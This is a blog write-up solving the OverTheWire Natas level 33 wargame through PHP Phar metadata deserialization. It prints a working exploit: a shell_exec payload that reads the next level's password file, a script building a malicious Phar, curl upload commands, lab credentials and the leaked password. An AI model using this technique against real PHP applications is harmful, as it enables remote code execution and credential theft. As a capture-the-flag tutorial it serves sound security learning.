25 Sep 2021 - OverTheWire - Natas
website: http://natas33.natas.labs.overthewire.org/ (password: shoogeiGa2yee3de6Aex8uaXeech5eey)
Another very challenging problem. Going through the source code, I think it’s related with “Insecure Deserialization”, which is similar to Natas26’s challenge. However, at first I don’t know how and where to trigger the deserialization. After going through this blog, I realized that the function md5_file
can take a Phar (PHP Archive) stream as its parameter if a file name starts with phar://. A Phar file contains metadata in serialized format. If a file operation (such as what md5_file()
does) is performed on an existing Phar file via the phar:// stream wrapper, then its serialized metadata will be deserialized. If we can inject a PHP object into the the metadata, that object will be deserialized and its destruct function will be invoked when its life cycle ends. Moreover, if we look at the source code, the destruct is implemented below:
1
2
3
4
5
6
7
8
9
10
function __destruct(){
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
if(getcwd() === "/") chdir("/natas33/uploads/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
} else{
echo "Failur! MD5sum mismatch!<br>";
}
}
From the above source code, we can think of a few things:
Another observation is that after a file is uploaded, the file name stored on the server comes from the client side:
<input type="hidden" name="filename" value="<? echo session_id(); ?>" />
. That means we can manipulate the filename as what we want.
With above observations, here is what I did:
Create a PHP file (pwn.php) with just one line: <?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Write a PHP script (create-phar.php) that creates a Phar file and saves an Executor
object as its metadata:
<?php
class Executor {
private $filename = "pwn.php";
private $signature = True;
private $init = False;
}
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", 'test');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Executor();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
Here I assign True
to $signature
because it will bypass the line md5_file($this->filename) == $this->signature
as long as md5_file()
doesn’t return an empty string. Or, you can calculate the md5 of pwn.php and assign the result to $signature
. It will also work.
Running create-phar.php will give us the generated Phar file test.phar:
$ php create-phar.php
$ cat test.phar
<?php __HALT_COMPILER(); ?>
�tO:8:"Executor":3:{s:18:"Executorfilename";s:7:"pwn.php";s:19:"Executorsignature";b:1;s:14:"Executorinit";b:0;test.txt�\Qa
~ؤtest8�3��V;�����t+l4'�GBMB
Upload both pwn.php and test.phar so that they will be stored under /natas33/uploads/ on the server. When uploading the two files, make sure we craft their filenames so that they won’t be renamed as session ids on the server.
$ curl -u natas33:shoogeiGa2yee3de6Aex8uaXeech5eey "http://natas33.natas.labs.overthewire.org" \
-F "uploadedfile=@pwn.php;type=text/php" \
-F "filename=pwn.php"
... ...
The update has been uploaded to: /natas33/upload/pwn.php<br>Firmware upgrad initialised.<br>/natas33/uploadFailur! MD5sum mismatch!<br>
<form enctype="multipart/form-data" action="index.php" method="POST">
$ curl -u natas33:shoogeiGa2yee3de6Aex8uaXeech5eey "http://natas33.natas.labs.overthewire.org" \
-F "uploadedfile=@test.phar;type=application/octet-stream" \
-F "filename=test.phar"
... ...
The update has been uploaded to: /natas33/upload/test.phar<br>Firmware upgrad initialised.<br>/natas33/uploadFailur! MD5sum mismatch!<br>
<form enctype="multipart/form-data" action="index.php" method="POST">
Sending another request. This time let the filename be phar://test.phar. This way the md5_file()
will take a Phar stream as a parameter and help us do the trick:
$ curl -u natas33:shoogeiGa2yee3de6Aex8uaXeech5eey "http://natas33.natas.labs.overthewire.org" \
-F "uploadedfile=@test.phar;type=application/octet-stream" \
-F "filename=phar://test.phar"
...
<b>Warning</b>: md5_file(phar://test.phar): failed to open stream: phar error: file "" in phar "test.phar" cannot be empty in
<b>/var/www/natas/natas33/index.php</b> on line <b>43</b><br />
Failur! MD5sum mismatch!<br>
...
/natas33/uploadCongratulations! Running firmware update: pwn.php <br>shu5ouSu6eicielahhae0mohd4ui5uig
From the above output, you can see that md5_file()
was actually invoked twice:
Executor
object created by the source code line if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) { new Executor(); }
. It failed because the Phar stream didn’t not provide any valid file in the URI.Executor
object $o = new Executor();
created by us in the test.phar: When the md5_file()
was invoked for the first time, it read the phar://test.phar stream and deserialized the metadata. Because we have created an object into the metadata (see the script create-phar.php), the object, whose filename is “pwn.php” and signature is “True”, was restored. When this object’s life went to an end, the md5_file()
was called during the destruction. Because $this->signature
was true and md5_file("pwn.php")
was a non-empty string, the line md5_file($this->filename) == $this->signature
was bypassed and the line passthru("php " . $this->filename);
got executed. This is equivalent to execute passthru("php pwn.php");
. Looking at the script pwn.php, it displays the content of /etc/natas_webpass/natas34.All the files are attached below:
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
<?php
class Executor {
private $filename = "pwn.php";
private $signature = True;
private $init = false;
}
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", 'test');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Executor();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
This file is used to create our phar file “test.phar”.
LESSONS LEARNED
In this challenge, we learned what a Phar file is. For some PHP functions that operate on a file, they can take Phar stream wrapper as a parameter. If you are using those functions, make sure you sanitize users’ input to avoid attacks like this one.
Reference
«Prev | More About | Next» |
---|---|---|
Natas32 - RCE and Privilege Escalation | OverTheWire - Natas |